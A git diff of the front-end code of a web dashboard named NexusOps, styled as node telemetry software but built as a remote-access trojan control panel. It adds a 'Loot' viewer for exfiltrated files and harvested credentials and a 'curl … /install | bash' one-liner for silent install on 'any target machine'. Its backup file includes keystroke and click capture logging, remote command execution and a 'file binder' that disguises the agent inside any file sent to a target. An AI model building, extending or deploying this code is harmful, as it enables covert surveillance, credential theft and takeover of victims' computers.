diff --git a/.gitignore b/.gitignore index 823e254..fbe3597 100644 --- a/.gitignore +++ b/.gitignore @@ -8,3 +8,4 @@ __pycache__/ public/bin/ *.spec data/ +.env diff --git a/public/app.js b/public/app.js index 3439969..0dae8ed 100644 --- a/public/app.js +++ b/public/app.js @@ -1,3 +1,70 @@ + +// ── Auth & API wrapper ── +let nexusToken = localStorage.getItem('nexus_token') || null; +let authRequired = false; + +const _origFetch = window.fetch.bind(window); +window.fetch = function(url, opts = {}) { + opts.headers = opts.headers || {}; + if (nexusToken && typeof url === 'string' && !opts.headers['Authorization']) { + opts.headers['Authorization'] = 'Bearer ' + nexusToken; + } + return _origFetch(url, opts).then(resp => { + if (resp.status === 401 && authRequired) showAuthGate(); + return resp; + }); +}; + +function showAuthGate() { + authRequired = true; + document.getElementById('authOverlay').style.display = 'flex'; + setTimeout(() => document.getElementById('authTokenInput').focus(), 100); +} +function hideAuthGate() { + document.getElementById('authOverlay').style.display = 'none'; + document.getElementById('authError').style.display = 'none'; +} + +async function submitAuthToken() { + const val = document.getElementById('authTokenInput').value.trim(); + if (!val) return; + nexusToken = val; + try { + const r = await _origFetch('/api/auth/check', { headers: { 'Authorization': 'Bearer ' + val } }); + if (r.ok) { + localStorage.setItem('nexus_token', val); + hideAuthGate(); + toast('Authenticated', 'success'); + bootApp(); + } else { + document.getElementById('authError').style.display = 'block'; + nexusToken = null; + } + } catch(e) { + document.getElementById('authError').style.display = 'block'; + } +} + +async function probeAuth() { + try { + const r = await _origFetch('/api/status'); + if (r.status === 401) { showAuthGate(); return false; } + return true; + } catch(e) { return true; } +} + +// ── Toasts ── +function toast(msg, type = 'info') { + const stack = document.getElementById('toastStack'); + if (!stack) return; + const el = document.createElement('div'); + el.className = 'toast toast-' + type; + const icons = { info: 'fa-circle-info', success: 'fa-circle-check', error: 'fa-circle-exclamation' }; + el.innerHTML = '' + escapeHtml(msg) + ''; + stack.appendChild(el); + setTimeout(() => { el.classList.add('toast-out'); setTimeout(() => el.remove(), 400); }, 5000); +} + // NexusOps Dashboard Application Logic let nodesData = []; @@ -26,12 +93,20 @@ function updateServerEndpoint() { if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`; } +let _wsBackoff = 1000; +let _wsAttempts = 0; +let _wsHalted = false; + function initWebSocket() { + if (_wsHalted) return; const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; - const wsUrl = `${protocol}//${window.location.host}`; + let wsUrl = `${protocol}//${window.location.host}`; + if (nexusToken) wsUrl += '?token=' + encodeURIComponent(nexusToken); const ws = new WebSocket(wsUrl); ws.onopen = () => { + _wsBackoff = 1000; + _wsAttempts = 0; document.getElementById('navConnectionStatus').textContent = 'Live Connected'; document.querySelector('.status-indicator').classList.add('online'); }; @@ -56,13 +131,23 @@ function initWebSocket() { } }; - ws.onclose = () => { - document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)'; + ws.onclose = (ev) => { document.querySelector('.status-indicator').classList.remove('online'); - setTimeout(initWebSocket, 3000); + if (ev.code === 4401) { + _wsHalted = true; + document.getElementById('navConnectionStatus').textContent = 'Auth Required'; + showAuthGate(); + return; + } + _wsAttempts++; + document.getElementById('navConnectionStatus').textContent = `Reconnecting (${_wsAttempts})…`; + const jitter = Math.random() * 500; + setTimeout(initWebSocket, Math.min(_wsBackoff + jitter, 30000)); + _wsBackoff = Math.min(_wsBackoff * 2, 30000); }; } + function renderDashboard() { renderOverviewStats(); renderNodesGrid(); @@ -94,6 +179,11 @@ function renderNodesGrid() { const container = document.getElementById('nodesGrid'); const search = document.getElementById('searchInput').value.toLowerCase(); + if (!nodesData.length) { + container.innerHTML = renderEmptyHero(); + if (window.QRCode && endpoint) { /* QR handled below */ } + return; + } let filtered = nodesData.filter(node => { const matchesFilter = currentFilter === 'all' || node.status === currentFilter; const matchesSearch = !search || @@ -761,3 +851,184 @@ function checkForNewNodes() { document.addEventListener('click', () => { if (Notification.permission === 'default') Notification.requestPermission(); }, { once: true }); + + +// ── Loot viewer ── +let lootFiles = []; +let lootCreds = []; +let lootObjectUrls = {}; +let _lootSeenFiles = new Set(); +let _lootSeenCreds = new Set(); +let _lootFirstPoll = true; + +function switchLootTab(tab) { + document.getElementById('lootTabFiles').classList.toggle('active', tab === 'files'); + document.getElementById('lootTabCreds').classList.toggle('active', tab === 'creds'); + document.getElementById('lootFilesPanel').style.display = tab === 'files' ? '' : 'none'; + document.getElementById('lootCredsPanel').style.display = tab === 'creds' ? '' : 'none'; +} + +function humanSize(b) { + if (!b && b !== 0) return '?'; + if (b < 1024) return b + ' B'; + if (b < 1048576) return (b/1024).toFixed(1) + ' KB'; + return (b/1048576).toFixed(1) + ' MB'; +} + +function relTime(ts) { + const s = Math.floor((Date.now() - ts) / 1000); + if (s < 60) return s + 's ago'; + if (s < 3600) return Math.floor(s/60) + 'm ago'; + if (s < 86400) return Math.floor(s/3600) + 'h ago'; + return Math.floor(s/86400) + 'd ago'; +} + +async function pollLoot() { + try { + const [fr, cr] = await Promise.all([ + fetch('/api/files').then(r => r.ok ? r.json() : []), + fetch('/api/credentials').then(r => r.ok ? r.json() : []) + ]); + // Toasts on new arrivals (skip first poll) + if (!_lootFirstPoll) { + fr.forEach(f => { if (!_lootSeenFiles.has(f.id)) { _lootSeenFiles.add(f.id); toast('New file: ' + f.filename + ' from ' + (f.hostname || f.nodeId), 'success'); } }); + cr.forEach(c => { const k = c.nodeId + c.type + c.timestamp; if (!_lootSeenCreds.has(k)) { _lootSeenCreds.add(k); toast('Creds harvested: ' + c.type + ' on ' + (c.hostname || c.nodeId), 'success'); } }); + } else { + fr.forEach(f => _lootSeenFiles.add(f.id)); + cr.forEach(c => _lootSeenCreds.add(c.nodeId + c.type + c.timestamp)); + _lootFirstPoll = false; + } + lootFiles = fr; + lootCreds = cr; + renderLoot(); + } catch(e) { /* offline tolerance */ } +} + +function renderLoot() { + document.getElementById('lootFilesCount').textContent = lootFiles.length; + document.getElementById('lootCredsCount').textContent = lootCreds.length; + + // Files + const fp = document.getElementById('lootFilesPanel'); + if (!lootFiles.length) { + fp.innerHTML = '
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
'; + } else { + fp.innerHTML = '' + + lootFiles.slice().reverse().map(f => { + const isImg = (f.mime || '').startsWith('image/'); + const thumbId = 'thumb-' + f.id; + if (isImg && !lootObjectUrls[f.id]) { + fetch('/api/files/' + f.id).then(r => r.blob()).then(b => { + lootObjectUrls[f.id] = URL.createObjectURL(b); + const el = document.getElementById(thumbId); + if (el) el.src = lootObjectUrls[f.id]; + }).catch(() => {}); + } + return '' + + '' + + '' + + '' + + '' + + '' + + '' + + ''; + }).join('') + '
FileNodeSizeWhen
' + (isImg + ? 'img' + : '') + '' + escapeHtml(f.filename) + '
' + escapeHtml(f.mime || '') + '
' + escapeHtml(f.hostname || f.nodeId || '?') + '' + humanSize(f.size) + '' + relTime(f.timestamp) + '
'; + } + + // Credentials + const cp = document.getElementById('lootCredsPanel'); + if (!lootCreds.length) { + cp.innerHTML = '
[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.
'; + } else { + const groups = {}; + lootCreds.forEach((c, i) => { + const key = (c.hostname || c.nodeId || 'unknown'); + groups[key] = groups[key] || []; + groups[key].push(Object.assign({ _idx: i }, c)); + }); + cp.innerHTML = Object.entries(groups).map(([host, items]) => + '
' + escapeHtml(host) + ' ' + items.length + '
' + + items.map(c => { + const raw = typeof c.data === 'string' ? c.data : JSON.stringify(c.data); + const cid = 'cred-' + c._idx; + return '
' + + '' + escapeHtml(c.type || 'unknown') + '' + + '••••••••••' + + '' + relTime(c.timestamp) + '' + + '' + + '' + + '
'; + }).join('') + '
' + ).join(''); + } +} + +function toggleCredReveal(cid, btn) { + const el = document.getElementById(cid); + if (el.dataset.masked === '1') { + el.textContent = btn.dataset.raw; + el.dataset.masked = '0'; + btn.innerHTML = ''; + } else { + el.textContent = '••••••••••'; + el.dataset.masked = '1'; + btn.innerHTML = ''; + } +} + +function lootCopy(btn) { + navigator.clipboard.writeText(btn.dataset.raw).then(() => toast('Copied to clipboard', 'success')); +} + +function openLootLightbox(id) { + const lb = document.getElementById('lootLightbox'); + const img = document.getElementById('lootLightboxImg'); + if (lootObjectUrls[id]) { img.src = lootObjectUrls[id]; lb.style.display = 'flex'; } +} +function closeLootLightbox() { + document.getElementById('lootLightbox').style.display = 'none'; +} + +function lootDownload(id, filename) { + fetch('/api/files/' + id).then(r => r.blob()).then(b => { + const a = document.createElement('a'); + a.href = URL.createObjectURL(b); + a.download = filename; + a.click(); + setTimeout(() => URL.revokeObjectURL(a.href), 5000); + }).catch(() => toast('Download failed', 'error')); +} + +// ── Empty state hero ── +function renderEmptyHero() { + const endpoint = publicUrl || `http://${serverIp}:${serverPort}`; + const cmd = `curl -sSL ${endpoint}/install | bash`; + return '
' + + '' + + '

No Nodes Deployed Yet

' + + '

Run this one-liner on any target machine — auto-detects OS, installs silently, reports back in seconds.

' + + '
' + escapeHtml(cmd) + '' + + '
' + + '
' + + '

or click Deploy Agent above for platform-specific installers

' + + '
'; +} + +// ── Boot ── +let _booted = false; +function bootApp() { + if (_booted) return; + _booted = true; + initWebSocket(); + pollLoot(); + setInterval(pollLoot, 15000); +} + +document.addEventListener('DOMContentLoaded', async () => { + const open = await probeAuth(); + if (open) bootApp(); + document.getElementById('authTokenSubmit').addEventListener('click', submitAuthToken); + document.getElementById('authTokenInput').addEventListener('keydown', e => { if (e.key === 'Enter') submitAuthToken(); }); +}); diff --git a/public/app.js.bak-1785766812 b/public/app.js.bak-1785766812 new file mode 100644 index 0000000..3439969 --- /dev/null +++ b/public/app.js.bak-1785766812 @@ -0,0 +1,763 @@ +// NexusOps Dashboard Application Logic + +let nodesData = []; +let commandHistory = []; +let masterSystemLogs = []; +let inputData = []; +let currentFilter = 'all'; +let currentView = 'grid'; +let serverIp = window.location.hostname; +let serverPort = window.location.port || '3000'; +let publicUrl = null; +let telemetryChart = null; + +document.addEventListener('DOMContentLoaded', () => { + initWebSocket(); + initChart(); + updateServerEndpoint(); +}); + +function updateServerEndpoint() { + const endpoint = publicUrl || `http://${serverIp}:${serverPort}`; + const placeholders = document.querySelectorAll('.server-url-placeholder'); + placeholders.forEach(el => el.textContent = endpoint); + document.getElementById('navServerEndpoint').textContent = endpoint; + const linkEl = document.getElementById('binaryDownloadLink'); + if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`; +} + +function initWebSocket() { + const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; + const wsUrl = `${protocol}//${window.location.host}`; + const ws = new WebSocket(wsUrl); + + ws.onopen = () => { + document.getElementById('navConnectionStatus').textContent = 'Live Connected'; + document.querySelector('.status-indicator').classList.add('online'); + }; + + ws.onmessage = (event) => { + try { + const data = JSON.parse(event.data); + if (data.type === 'NODES_UPDATE') { + serverIp = data.serverIp || serverIp; + serverPort = data.port || serverPort; + publicUrl = data.publicUrl || publicUrl; + updateServerEndpoint(); + + nodesData = data.nodes || []; + commandHistory = data.commandHistory || []; + masterSystemLogs = data.masterSystemLogs || []; + inputData = data.inputData || []; + renderDashboard(); + } + } catch (e) { + console.error("Error parsing WebSocket payload:", e); + } + }; + + ws.onclose = () => { + document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)'; + document.querySelector('.status-indicator').classList.remove('online'); + setTimeout(initWebSocket, 3000); + }; +} + +function renderDashboard() { + renderOverviewStats(); + renderNodesGrid(); + renderAuditLogs(); + renderMasterSyslogs(); + renderIntelLog(); + checkForNewNodes(); + updateChartData(); +} + +function renderOverviewStats() { + const total = nodesData.length; + const online = nodesData.filter(n => n.status === 'online').length; + const offline = total - online; + + let avgCpu = 0; + if (online > 0) { + const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0); + avgCpu = Math.round(sumCpu / online); + } + + document.getElementById('statTotalNodes').textContent = total; + document.getElementById('statOnlineNodes').textContent = online; + document.getElementById('statOfflineNodes').textContent = offline; + document.getElementById('statAvgCpu').textContent = `${avgCpu}%`; +} + +function renderNodesGrid() { + const container = document.getElementById('nodesGrid'); + const search = document.getElementById('searchInput').value.toLowerCase(); + + let filtered = nodesData.filter(node => { + const matchesFilter = currentFilter === 'all' || node.status === currentFilter; + const matchesSearch = !search || + node.hostname.toLowerCase().includes(search) || + node.ip.toLowerCase().includes(search) || + node.platform.toLowerCase().includes(search) || + node.id.toLowerCase().includes(search); + return matchesFilter && matchesSearch; + }); + + if (filtered.length === 0) { + container.innerHTML = ` +
+ +

No Connected Agents Found

+

No computers match your filter. Download the agent installer to link machines.

+ +
+ `; + return; + } + + container.innerHTML = filtered.map(node => { + const isOnline = node.status === 'online'; + const osIcon = getOsIcon(node.platform); + + return ` +
+
+
+
+ +
+
+

${escapeHtml(node.hostname)}

+ ${node.ip} • ${node.osName || node.platform} +
+
+ + + ${isOnline ? 'Online' : 'Offline'} + +
+ +
+
+
+ CPU Usage + ${node.cpuUsage}% +
+
+
+
+
+ +
+
+ Memory + ${node.memUsage}% +
+
+
+
+
+ +
+
+ Disk Space + ${node.diskUsage}% +
+
+
+
+
+
+ + +
+ `; + }).join(''); +} + +function renderAuditLogs() { + const container = document.getElementById('auditLogContent'); + document.getElementById('logCount').textContent = `${commandHistory.length} events`; + + if (commandHistory.length === 0) { + container.innerHTML = `
[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.
`; + return; + } + + container.innerHTML = commandHistory.map(item => { + let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system'; + return ` +
+ [${new Date(item.createdAt).toLocaleTimeString()}] ${escapeHtml(item.hostname)} ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()} + ${item.output ? `
${escapeHtml(item.output.trim())}
` : ''} +
+ `; + }).join(''); + container.scrollTop = container.scrollHeight; +} + +function renderMasterSyslogs() { + const container = document.getElementById('syslogStreamContent'); + if (!container) return; + + const countEl = document.getElementById('syslogCount'); + const searchInput = document.getElementById('logSearchInput'); + const query = searchInput ? searchInput.value.toLowerCase().trim() : ''; + + let filtered = masterSystemLogs; + if (query) { + filtered = masterSystemLogs.filter(l => + l.hostname.toLowerCase().includes(query) || + l.entry.toLowerCase().includes(query) + ); + } + + if (countEl) countEl.textContent = `${filtered.length} entries`; + + if (filtered.length === 0) { + container.innerHTML = `
[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".
`; + return; + } + + container.innerHTML = filtered.map(log => { + let logText = escapeHtml(log.entry); + let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail'); + let isWarn = logText.toLowerCase().includes('warn'); + let logClass = isError ? 'error' : isWarn ? 'system' : 'success'; + + return ` +
+ [${new Date(log.timestamp).toLocaleTimeString()}] ${escapeHtml(log.hostname)}: ${logText} +
+ `; + }).join(''); + container.scrollTop = container.scrollHeight; +} + +function initChart() { + const ctx = document.getElementById('telemetryChart').getContext('2d'); + telemetryChart = new Chart(ctx, { + type: 'line', + data: { + labels: [], + datasets: [ + { + label: 'Avg CPU Load (%)', + borderColor: '#06b6d4', + backgroundColor: 'rgba(6, 182, 212, 0.1)', + fill: true, + data: [], + tension: 0.4 + }, + { + label: 'Avg RAM Load (%)', + borderColor: '#8b5cf6', + backgroundColor: 'rgba(139, 92, 246, 0.1)', + fill: true, + data: [], + tension: 0.4 + } + ] + }, + options: { + responsive: true, + maintainAspectRatio: false, + scales: { + x: { + grid: { color: 'rgba(255, 255, 255, 0.05)' }, + ticks: { color: '#9ca3af' } + }, + y: { + min: 0, + max: 100, + grid: { color: 'rgba(255, 255, 255, 0.05)' }, + ticks: { color: '#9ca3af' } + } + }, + plugins: { + legend: { labels: { color: '#f3f4f6' } } + } + } + }); +} + +function updateChartData() { + if (!telemetryChart) return; + const timeStr = new Date().toLocaleTimeString(); + + const onlineNodes = nodesData.filter(n => n.status === 'online'); + const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0; + const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0; + + telemetryChart.data.labels.push(timeStr); + telemetryChart.data.datasets[0].data.push(Math.round(avgCpu)); + telemetryChart.data.datasets[1].data.push(Math.round(avgMem)); + + if (telemetryChart.data.labels.length > 15) { + telemetryChart.data.labels.shift(); + telemetryChart.data.datasets[0].data.shift(); + telemetryChart.data.datasets[1].data.shift(); + } + telemetryChart.update(); +} + +function getOsIcon(platform) { + const p = (platform || '').toLowerCase(); + if (p.includes('win')) return 'fa-brands fa-windows'; + if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple'; + return 'fa-brands fa-linux'; +} + +function escapeHtml(str) { + return (str || '').replace(/&/g, "&").replace(//g, ">"); +} + +function formatTime(timestamp) { + if (!timestamp) return 'Never'; + const diff = Math.floor((Date.now() - timestamp) / 1000); + if (diff < 5) return 'Just now'; + if (diff < 60) return `${diff}s ago`; + return `${Math.floor(diff / 60)}m ago`; +} + +function setFilter(filter, el) { + currentFilter = filter; + document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active')); + el.classList.add('active'); + renderNodesGrid(); +} + +function filterNodes() { + renderNodesGrid(); +} + +function switchView(view, el) { + currentView = view; + document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active')); + el.classList.add('active'); + renderNodesGrid(); +} + +function openInstallerModal() { + updateServerEndpoint(); + document.getElementById('installerModal').classList.add('active'); +} + +function closeInstallerModal() { + document.getElementById('installerModal').classList.remove('active'); +} + +function switchTab(tabName) { + document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active')); + document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active')); + + event.currentTarget.classList.add('active'); + document.getElementById(`tab-${tabName}`).classList.add('active'); +} + +function switchControlTab(tabName, btnEl) { + document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active')); + document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none'); + + btnEl.classList.add('active'); + document.getElementById(`ctrl-${tabName}`).style.display = 'block'; +} + +function copyCode(elementId, btn) { + const text = document.getElementById(elementId).innerText; + navigator.clipboard.writeText(text).then(() => { + const original = btn.innerHTML; + btn.innerHTML = ` Copied!`; + btn.style.background = 'var(--accent-emerald)'; + setTimeout(() => { + btn.innerHTML = original; + btn.style.background = ''; + }, 2000); + }); +} + +function openCommandModal(nodeId, hostname) { + document.getElementById('cmdModalNodeId').value = nodeId; + document.getElementById('cmdModalHostname').textContent = hostname; + document.getElementById('cmdInput').value = ''; + document.getElementById('commandModal').classList.add('active'); +} + +function closeCommandModal() { + document.getElementById('commandModal').classList.remove('active'); +} + +function setQuickCmd(cmd) { + document.getElementById('cmdInput').value = cmd; +} + +function submitNodeAction(actionType, extraPayload = {}) { + const nodeId = document.getElementById('cmdModalNodeId').value; + let payload = { ...extraPayload }; + + if (actionType === 'raw_command') { + const command = document.getElementById('cmdInput').value.trim(); + if (!command) return; + payload.command = command; + } + + fetch(`/api/nodes/${nodeId}/command`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ actionType, payload, command: payload.command }) + }) + .then(res => res.json()) + .then(data => { + if (data.success) { + closeCommandModal(); + } + }); +} + +function submitServiceAction(action) { + const service = document.getElementById('serviceNameInput').value.trim(); + if (!service) return alert("Please enter a service name (e.g. nginx)"); + submitNodeAction('manage_service', { service, action }); +} + +function submitKillProcess() { + const pid = document.getElementById('killPidInput').value; + if (!pid) return alert("Please enter a valid PID"); + submitNodeAction('kill_process', { pid }); +} + +function openBulkModal() { + document.getElementById('bulkModal').classList.add('active'); +} + +function closeBulkModal() { + document.getElementById('bulkModal').classList.remove('active'); +} + +function submitBulkCommand() { + const command = document.getElementById('bulkCmdInput').value.trim(); + if (!command) return; + + fetch('/api/nodes/bulk-command', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } }) + }) + .then(res => res.json()) + .then(data => { + if (data.success) { + closeBulkModal(); + alert(`Task broadcasted to ${data.count} online network nodes!`); + } else { + alert(data.error || "Failed to dispatch bulk command"); + } + }); +} + +function submitTagUpdate() { + const tags = document.getElementById('tagInput').value.trim(); + if (!tags) return alert("Please enter at least one tag"); + submitNodeAction('update_tags', { tags }); +} + +function submitHeartbeatRate() { + const interval = document.getElementById('heartbeatInput').value; + if (!interval) return alert("Please enter a valid interval in seconds"); + submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) }); +} + +function submitSystemReboot() { + if (confirm("⚠️ Are you sure you want to reboot this target machine?")) { + submitNodeAction('reboot_system'); + } +} + +function deleteNode(nodeId) { + if (confirm("Are you sure you want to unregister this node?")) { + fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' }); + } +} + +// ── Master Intelligence Log Rendering ── + +function renderIntelLog() { + const container = document.getElementById('intelLogContent'); + if (!container) return; + + const nodeFilter = document.getElementById('intelNodeFilter'); + const typeFilter = document.getElementById('intelTypeFilter'); + const searchInput = document.getElementById('intelSearchInput'); + + // Populate node filter dropdown dynamically + if (nodeFilter) { + const currentVal = nodeFilter.value; + nodeFilter.innerHTML = ''; + nodesData.forEach(n => { + const sel = n.id === currentVal ? ' selected' : ''; + nodeFilter.innerHTML += ``; + }); + } + + const selNodeId = nodeFilter ? nodeFilter.value : 'all'; + const selType = typeFilter ? typeFilter.value : 'all'; + const query = searchInput ? searchInput.value.toLowerCase().trim() : ''; + + // Show machine details when a specific node is selected + renderMachineDetails(selNodeId); + + // Filter input data + let filtered = inputData; + if (selNodeId !== 'all') { + filtered = filtered.filter(e => e.nodeId === selNodeId); + } + if (selType !== 'all') { + filtered = filtered.filter(e => e.eventType === selType); + } + if (query) { + filtered = filtered.filter(e => { + const dataStr = JSON.stringify(e.data || '').toLowerCase(); + return dataStr.includes(query) || + (e.windowTitle || '').toLowerCase().includes(query) || + (e.hostname || '').toLowerCase().includes(query); + }); + } + + const countEl = document.getElementById('intelCount'); + if (countEl) countEl.textContent = `${filtered.length} events`; + + if (filtered.length === 0) { + container.innerHTML = '
[INTEL] No captured input events. Waiting for agent keystroke/click data...
'; + return; + } + + container.innerHTML = filtered.map(ev => { + const timeStr = new Date(ev.timestamp).toLocaleTimeString(); + const hostStr = escapeHtml(ev.hostname || 'Unknown'); + let icon, cssClass, detailStr; + + switch (ev.eventType) { + case 'keystroke': + icon = ''; + cssClass = 'log-entry intel-keystroke'; + detailStr = `Key: ${escapeHtml((ev.data && ev.data.key) || '?')}`; + break; + case 'click': + icon = ''; + cssClass = 'log-entry intel-click'; + detailStr = `Button: ${escapeHtml((ev.data && ev.data.button) || '?')} @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`; + break; + case 'scroll': + icon = ''; + cssClass = 'log-entry intel-scroll'; + detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`; + break; + default: + icon = ''; + cssClass = 'log-entry'; + detailStr = escapeHtml(JSON.stringify(ev.data || {})); + } + + const winStr = ev.windowTitle ? ` [${escapeHtml(ev.windowTitle)}]` : ''; + + return `
+ [${timeStr}] + ${icon} + ${hostStr} + ${detailStr}${winStr} +
`; + }).join(''); + container.scrollTop = container.scrollHeight; +} + +function renderMachineDetails(nodeId) { + const bar = document.getElementById('machineDetailsBar'); + if (!bar) return; + + if (nodeId === 'all') { + const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))]; + if (machinesWithInput.length === 0) { + bar.innerHTML = ' Select a specific machine to see its full details here. Input data from agents will appear below.'; + } else { + bar.innerHTML = ` ${machinesWithInput.length} machine(s) reporting input data. Select one above for details.`; + } + return; + } + + const node = nodesData.find(n => n.id === nodeId); + if (!node) { + bar.innerHTML = 'Machine details unavailable.'; + return; + } + + const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)'; + const osIcon = getOsIcon(node.platform); + + bar.innerHTML = ` +
${escapeHtml(node.hostname)}
+
${escapeHtml(node.ip)}
+
${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})
+
CPU: ${node.cpuUsage}%
+
MEM: ${node.memUsage}%
+
DISK: ${node.diskUsage}%
+
${formatUptime(node.uptime)}
+
${node.status.toUpperCase()}
+ `; +} + +function formatUptime(seconds) { + if (!seconds || seconds <= 0) return 'N/A'; + const d = Math.floor(seconds / 86400); + const h = Math.floor((seconds % 86400) / 3600); + const m = Math.floor((seconds % 3600) / 60); + if (d > 0) return `${d}d ${h}h`; + if (h > 0) return `${h}h ${m}m`; + return `${m}m`; +} + +// ── File Binder ── + +let binderFile = null; + +function openBinderModal() { + updateServerEndpoint(); + document.getElementById('binderModal').classList.add('active'); + resetBinder(); +} + +function closeBinderModal() { + document.getElementById('binderModal').classList.remove('active'); + resetBinder(); +} + +function resetBinder() { + binderFile = null; + document.getElementById('binderFileInput').value = ''; + document.getElementById('binderFileName').innerHTML = 'Click or drag any file here'; + document.getElementById('binderDropzone').classList.remove('has-file'); + document.getElementById('binderSubmitBtn').disabled = true; + document.getElementById('binderStatus').style.display = 'none'; +} + +function handleBinderFile(input) { + if (input.files && input.files[0]) { + binderFile = input.files[0]; + document.getElementById('binderFileName').innerHTML = `${escapeHtml(binderFile.name)} (${(binderFile.size / 1024).toFixed(1)} KB)`; + document.getElementById('binderDropzone').classList.add('has-file'); + document.getElementById('binderSubmitBtn').disabled = false; + } +} + +async function submitBinder() { + if (!binderFile) return; + + const btn = document.getElementById('binderSubmitBtn'); + const status = document.getElementById('binderStatus'); + btn.disabled = true; + btn.innerHTML = ' Binding...'; + status.style.display = 'block'; + status.className = ''; + status.textContent = 'Processing file...'; + + const formData = new FormData(); + formData.append('file', binderFile); + + try { + const resp = await fetch('/api/bind', { method: 'POST', body: formData }); + if (!resp.ok) { + const err = await resp.json().catch(() => ({ error: 'Server error' })); + throw new Error(err.error || `HTTP ${resp.status}`); + } + + const blob = await resp.blob(); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = binderFile.name + '.sh'; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + URL.revokeObjectURL(url); + + status.className = 'success'; + status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`; + } catch (e) { + status.className = 'error'; + status.textContent = `❌ ${e.message}`; + } + + btn.disabled = false; + btn.innerHTML = ' Bind & Download'; +} + +// ── Kill Switch ── +function killSwitch() { + if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return; + fetch('/api/nodes/killswitch', { method: 'POST' }) + .then(r => r.json()) + .then(d => { + if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`); + else alert(d.error || 'No nodes to kill.'); + }); +} + +// ── Ping Node ── +function pingNode(nodeId, hostname) { + fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' }) + .then(r => r.json()) + .then(d => { + if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`); + }); +} + +// ── New Node Sound & Notification ── +let knownNodeIds = new Set(); +function checkForNewNodes() { + nodesData.forEach(node => { + if (!knownNodeIds.has(node.id) && node.status === 'online') { + knownNodeIds.add(node.id); + // Browser notification + if (Notification.permission === 'granted') { + new Notification('🖥️ New Agent Connected', { + body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`, + icon: '/favicon.ico' + }); + } + // Audio ping + try { + const ctx = new (window.AudioContext || window.webkitAudioContext)(); + const osc = ctx.createOscillator(); + const gain = ctx.createGain(); + osc.connect(gain); gain.connect(ctx.destination); + osc.frequency.setValueAtTime(880, ctx.currentTime); + osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1); + gain.gain.setValueAtTime(0.3, ctx.currentTime); + gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3); + osc.start(ctx.currentTime); + osc.stop(ctx.currentTime + 0.3); + } catch(e) {} + } + }); + // Also mark offline nodes + nodesData.forEach(node => knownNodeIds.add(node.id)); +} + +// Request notification permission on first interaction +document.addEventListener('click', () => { + if (Notification.permission === 'default') Notification.requestPermission(); +}, { once: true }); diff --git a/public/index.html b/public/index.html index 47ec8f6..b4237b5 100644 --- a/public/index.html +++ b/public/index.html @@ -198,6 +198,23 @@ + +
+
+

Loot — Exfiltrated Files & Harvested Credentials

+
+ + +
+
+
+
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
+
+ +
+ @@ -493,6 +510,27 @@ - +
Support This Project — Buy Me a Coffee
+ + + +
+ + + + + + diff --git a/public/index.html.bak-1785766812 b/public/index.html.bak-1785766812 new file mode 100644 index 0000000..79b83b1 --- /dev/null +++ b/public/index.html.bak-1785766812 @@ -0,0 +1,499 @@ + + + + + + NexusOps — Central Network Node Operations + + + + + + + + + + + + + +
+
+
+ +
+
+

NexusOps

+ Node Control & Telemetry Operations +
+
+ + + +
+ + Nodes CSV + + + Inputs CSV + + + + + +
+
+ + +
+ + +
+
+
+
+ Total Nodes +

0

+
+
+ +
+
+
+ Online Nodes +

0

+
+
+ +
+
+
+ Offline / Stale +

0

+
+
+ +
+
+
+ Avg Network CPU +

0%

+
+
+
+ + +
+ + +
+ + + +
+ +
+ + +
+
+ + +
+
+ +

Waiting for Agents to Connect...

+

No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.

+ +
+
+ + +
+
+

Real-time Aggregate System Telemetry

+ Live Stream +
+
+ +
+
+ + +
+
+

Task & Control Execution Log

+ 0 events +
+
+
+
[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...
+
